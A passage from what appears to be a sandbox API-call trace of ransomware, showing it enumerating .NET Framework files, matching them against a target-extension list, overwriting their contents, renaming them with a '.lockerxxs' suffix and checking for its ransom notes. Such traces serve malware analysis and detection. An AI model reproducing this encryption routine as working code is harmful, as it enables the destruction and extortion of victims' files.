(pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.ppt") returned 0 [0137.623] lstrlenA (lpString="*.ppt") returned 5 [0137.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.pptx") returned 0 [0137.623] lstrlenA (lpString="*.pptx") returned 6 [0137.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.doc") returned 0 [0137.623] lstrlenA (lpString="*.doc") returned 5 [0137.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.dot") returned 0 [0137.623] lstrlenA (lpString="*.dot") returned 5 [0137.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.docx") returned 0 [0137.623] lstrlenA (lpString="*.docx") returned 6 [0137.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.7z") returned 0 [0137.623] lstrlenA (lpString="*.7z") returned 4 [0137.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.tar") returned 0 [0137.623] lstrlenA (lpString="*.tar") returned 5 [0137.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.bz2") returned 0 [0137.623] lstrlenA (lpString="*.bz2") returned 5 [0137.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.gz") returned 0 [0137.623] lstrlenA (lpString="*.gz") returned 4 [0137.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.mkv") returned 0 [0137.623] lstrlenA (lpString="*.mkv") returned 5 [0137.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.eml") returned 0 [0137.623] lstrlenA (lpString="*.eml") returned 5 [0137.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.msg") returned 0 [0137.624] lstrlenA (lpString="*.msg") returned 5 [0137.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.edb") returned 0 [0137.624] lstrlenA (lpString="*.edb") returned 5 [0137.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.accdb") returned 0 [0137.624] lstrlenA (lpString="*.accdb") returned 7 [0137.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.odb") returned 0 [0137.624] lstrlenA (lpString="*.odb") returned 5 [0137.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.java") returned 0 [0137.624] lstrlenA (lpString="*.java") returned 6 [0137.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.asm") returned 0 [0137.624] lstrlenA (lpString="*.asm") returned 5 [0137.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.pfx") returned 0 [0137.624] lstrlenA (lpString="*.pfx") returned 5 [0137.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.pem") returned 0 [0137.624] lstrlenA (lpString="*.pem") returned 5 [0137.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.p12") returned 0 [0137.624] lstrlenA (lpString="*.p12") returned 5 [0137.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.gpg") returned 0 [0137.624] lstrlenA (lpString="*.gpg") returned 5 [0137.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.vsd") returned 0 [0137.624] lstrlenA (lpString="*.vsd") returned 5 [0137.625] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ee16760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1939, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallWebEventSqlProvider.sql", cAlternateFileName="INDA80~1.SQL")) returned 1 [0137.625] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.625] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallWebEventSqlProvider.sql") returned -1 [0137.625] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallWebEventSqlProvider.sql") returned -1 [0137.625] lstrcmpiA (lpString1="", lpString2="InstallWebEventSqlProvider.sql") returned -1 [0137.625] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll") returned="InstallUtilLib.dll" [0137.626] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.626] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.626] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.626] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.626] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallWebEventSqlProvider.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql" [0137.626] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql" [0137.626] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql" [0137.629] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql") returned="InstallWebEventSqlProvider.sql" [0137.629] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.629] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1913, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1913, lpOverlapped=0x0) returned 1 [0137.631] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.631] CloseHandle (hObject=0x8c) returned 1 [0137.631] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installwebeventsqlprovider.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installwebeventsqlprovider.sql.lockerxxs")) returned 1 [0137.632] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x594dd480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x114b0, dwReserved0=0xd60001d7, dwReserved1=0x4e00c4, cFileName="ISymWrapper.dll", cAlternateFileName="ISYMWR~1.DLL")) returned 1 [0137.632] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.632] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ISymWrapper.dll") returned -1 [0137.632] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ISymWrapper.dll") returned -1 [0137.632] lstrcmpiA (lpString1="", lpString2="ISymWrapper.dll") returned -1 [0137.632] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql") returned="InstallWebEventSqlProvider.sql" [0137.632] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.632] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.633] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5c478c80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb490, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsc.exe", cAlternateFileName="")) returned 1 [0137.633] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.633] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jsc.exe") returned -1 [0137.633] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jsc.exe") returned -1 [0137.633] lstrcmpiA (lpString1="", lpString2="jsc.exe") returned -1 [0137.633] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ISymWrapper.dll") returned="ISymWrapper.dll" [0137.633] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.633] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.633] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8ac4db80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsc.exe.config", cAlternateFileName="JSCEXE~1.CON")) returned 1 [0137.633] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.633] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jsc.exe.config") returned -1 [0137.633] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jsc.exe.config") returned -1 [0137.634] lstrcmpiA (lpString1="", lpString2="jsc.exe.config") returned -1 [0137.634] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe") returned="jsc.exe" [0137.634] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.634] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.634] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c67d500, ftCreationTime.dwHighDateTime=0x1d06a01, ftLastAccessTime.dwLowDateTime=0x5c4c4f40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6c67d500, ftLastWriteTime.dwHighDateTime=0x1d06a01, nFileSizeHigh=0x0, nFileSizeLow=0x66730, dwReserved0=0x0, dwReserved1=0x0, cFileName="locale.nlp", cAlternateFileName="")) returned 1 [0137.634] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.634] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="locale.nlp") returned -1 [0137.634] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="locale.nlp") returned -1 [0137.634] lstrcmpiA (lpString1="", lpString2="locale.nlp") returned -1 [0137.634] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe.config") returned="jsc.exe.config" [0137.634] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.634] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.635] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5c537360, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xd0e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Activities.Build.dll", cAlternateFileName="MI7225~1.DLL")) returned 1 [0137.635] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.635] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Activities.Build.dll") returned -1 [0137.635] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Activities.Build.dll") returned -1 [0137.635] lstrcmpiA (lpString1="", lpString2="Microsoft.Activities.Build.dll") returned -1 [0137.635] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\locale.nlp") returned="locale.nlp" [0137.635] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.635] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.635] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5c7e4c20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x14b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v4.0.dll", cAlternateFileName="MI5AD5~1.DLL")) returned 1 [0137.635] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.635] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Conversion.v4.0.dll") returned -1 [0137.635] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Conversion.v4.0.dll") returned -1 [0137.635] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Conversion.v4.0.dll") returned -1 [0137.635] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Activities.Build.dll") returned="Microsoft.Activities.Build.dll" [0137.636] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.636] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.636] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cab8640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1582c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.dll", cAlternateFileName="MI38AB~1.DLL")) returned 1 [0137.636] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.636] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.dll") returned -1 [0137.636] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.dll") returned -1 [0137.636] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.dll") returned -1 [0137.636] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.Conversion.v4.0.dll") returned="Microsoft.Build.Conversion.v4.0.dll" [0137.636] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.636] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.637] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cb04900, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa04d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="MIF3FF~1.DLL")) returned 1 [0137.637] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.637] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Engine.dll") returned -1 [0137.637] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Engine.dll") returned -1 [0137.637] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Engine.dll") returned -1 [0137.637] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.dll") returned="Microsoft.Build.dll" [0137.637] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.637] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.637] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cb50bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x186e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="MIAE1A~1.DLL")) returned 1 [0137.637] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.637] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Framework.dll") returned -1 [0137.637] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Framework.dll") returned -1 [0137.637] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Framework.dll") returned -1 [0137.637] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.Engine.dll") returned="Microsoft.Build.Engine.dll" [0137.638] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.638] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.638] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cbc2fe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x11bae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Tasks.v4.0.dll", cAlternateFileName="MIDE60~1.DLL")) returned 1 [0137.638] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.638] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Tasks.v4.0.dll") returned -1 [0137.638] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Tasks.v4.0.dll") returned -1 [0137.638] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Tasks.v4.0.dll") returned -1 [0137.638] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.Framework.dll") returned="Microsoft.Build.Framework.dll" [0137.638] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.638] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.639] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cbe9140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x41af8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v4.0.dll", cAlternateFileName="MI7F2C~1.DLL")) returned 1 [0137.639] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.639] lstrcmpiA 